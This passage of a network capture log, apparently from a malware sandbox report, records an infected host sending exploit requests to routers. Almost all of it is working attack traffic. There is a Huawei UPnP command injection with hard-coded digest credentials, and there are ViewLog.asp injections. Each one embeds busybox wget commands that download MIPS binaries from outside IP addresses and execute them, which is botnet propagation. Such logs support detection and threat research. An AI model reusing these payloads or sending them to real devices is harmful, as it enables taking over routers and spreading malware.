6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:22.137171984 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:53.372282982 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                449192.168.2.153465231.136.154.288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:51.798429966 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:52.377938032 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:53.530030966 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:56.025993109 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:00.633763075 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:09.849566936 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:28.792953968 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.655972004 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                450192.168.2.155515894.120.97.488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:52.020801067 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                451192.168.2.154215885.122.221.1778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:52.620726109 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                452192.168.2.154748462.29.92.1548080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:52.843688965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                453192.168.2.153425485.26.130.408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:53.256578922 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:54.521965981 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                454192.168.2.155642241.232.236.17537215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:54.145437956 CET886OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:54.399342060 CET236INHTTP/1.1 500 Internal Server Error
                                                Content-Type: text/xml; charset="utf-8"
                                                Server: Linux UPnP/1.0 Huawei-ATP-IGD
                                                EXT:
                                                Connection: Keep-Alive
                                                Content-Length: 398


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                455192.168.2.153839231.136.214.998080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:55.475631952 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:58.585859060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:04.729660034 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:16.761456013 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
